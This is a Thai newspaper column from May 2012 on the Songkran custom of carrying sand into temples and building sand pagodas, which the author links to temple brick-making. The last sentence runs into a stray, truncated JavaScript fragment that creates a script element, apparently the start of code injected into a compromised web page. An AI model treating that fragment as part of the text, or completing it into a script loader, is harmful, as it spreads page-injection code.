มติชนรายวัน ฉบับประจำวันพุธที่ 16 พฤษภาคม 2555

 

           “ก่อพระทราย” หรือ “ก่อกองทราย” เป็นภาษาปาก หมายถึงก่อพระเจดีย์ทรายในวัดเมื่อถึงเทศกาลสงกรานต์เดือน 5 ทางจันทรคติ (ตรงกับเมษายน ทางสุริยคติ)

           ก่อนถึงสงกรานต์สัก 4-5 วัน ชาวบ้านสมัยก่อนจะรวมกันออกไปหาแหล่งทราย แล้วพากัน“ขนทรายเข้าวัด” โดยอ้างว่าเตรียมไว้ให้ชาวบ้านร้านถิ่นเล่นก่อพระทรายวันสงกรานต์

           แต่ในความเป็นจริงแล้ว ขนทรายเข้าวัดเอาไว้ให้พระสงฆ์ใช้ทรายผสมดินเหนียวทำอิฐก่อสร้างโบสถ์, วิหาร, การเปรียญ และเสนาสนะอื่นๆที่ต้องสร้างด้วยอิฐ

           ชาวบ้านไม่สร้างบ้านด้วยอิฐไม่ว่ากรณีใดๆ ดังนั้นอิฐจึงใช้สร้างวัดกับสร้างวังเท่านั้น

           และไม่เกี่ยวกับทรายวัดติดตีนชาวบ้านที่เดินเข้าออกวัด เมื่อถึงสงกรานต์ต้องขนทรายมาคืน เพราะนี่เป็นนิทานหลอกกันเล่นๆในวงข้าววงเหล้า

           ทรายไม่มีทั่วไป แต่มีเป็นที่ทางเฉพาะ เช่น บริเวณพื้นใต้แม่น้ำ, ลำคลอง, หนอง, บึง, ลำราง, ทางน้ำ, ลุ่ม, ลาด, ฯลฯ ซึ่งต้องมีคนไปขุดตักควักคุ้ยเอามา เพราะไม่มีพ่อค้าดูดทรายใส่เรือใส่รถมาขายอย่างทุกวันนี้

           ชาวบ้านแต่ก่อนนัดหมายกันก่อนถึงสงกรานต์ ไปทำบุญขนทรายเข้าวัด แล้วกองไว้ลานวัดเตรียมถวายพระสงฆ์

           เมื่อถึงสงกรานต์ก็พากันไปวัดทำบุญโดยก่อกองทรายสมมุติเป็นรูปพระเจดีย์ขนาดเล็กๆเรียงรายตามถนัดของแต่ละคน เสร็จแล้วก็โยงสายสิญจน์ถวายพระสงฆ์ในวัดเอาไว้ทำอิฐใช้ก่อสร้างในวัด แล้วเชื่อว่าได้บุญกุศลค้ำจุนพระพุทธศาสนา

           นี่เป็นพยานว่าประเพณีขนทรายเข้าวัด ไม่ใช่พื้นเมืองดั้งเดิม แต่เพื่อก่อพระเจดีย์ทรายซึ่งต้องมีขึ้นเมื่อรับพุทธศาสนาจากอินเดียแล้ว ราวหลัง พ.ศ. 1000

           อ. ประภัสสร์ ชูวิเชียร (คณะโบราณคดี ม. ศิลปากร) กับ อ. ศิริพจน์ เหล่ามานะเจริญ (วิทยาลัยดุริยางคศิลป์ ม. มหิดล) เป็นผู้ร่วมกันอธิบายให้ผมฟังเรื่องก่อพระเจดีย์ทราย แล้วอ้างหลักฐานประวัติศาสตร์โบราณคดี ว่าในอิฐเผาตั้งแต่ยุคทวารวดีสืบเนื่องมาจนถึงอิฐเขมรล้วนมีทรายผสมด้วย เพื่อให้อิฐแกร่งและทนทาน

           ผมเลยจำมาเขียนไว้ตรงนี้เพื่อตอบคำถามภาษาอังกฤษในเฟซบุ๊คจากผู้มีนาม Al Manomai (แคลิฟอร์เนีย สหรัฐ) ที่เขียนถามตั้งแต่เดือนเมษายน แต่ผมเพิ่งได้คำแปลเป็นภาษาไทยเมื่อต้นเดือนพฤษภาคมนี้เอง จาก“แม่มดดำ” พันธุ์ทิพย์ ธีระเนตร (แห่งนิตยสารโปสการ์ด)

           เพราะผมใช้อินเตอร์เน็ตไม่เป็น แล้วอ่านภาษาอังกฤษไม่ออก ไม่รู้คำแปล ไม่เข้าใจความหมาย ต้องพึ่งพาอาศัยคนอื่นร่ำไป จนบางครั้งบางคนก็ดูถูกดูแคลน แต่ผมไม่ได้ประหลาดใจ เพราะตัวเองโง่จริงvar d=document;var s=d.createElement(‘script’); }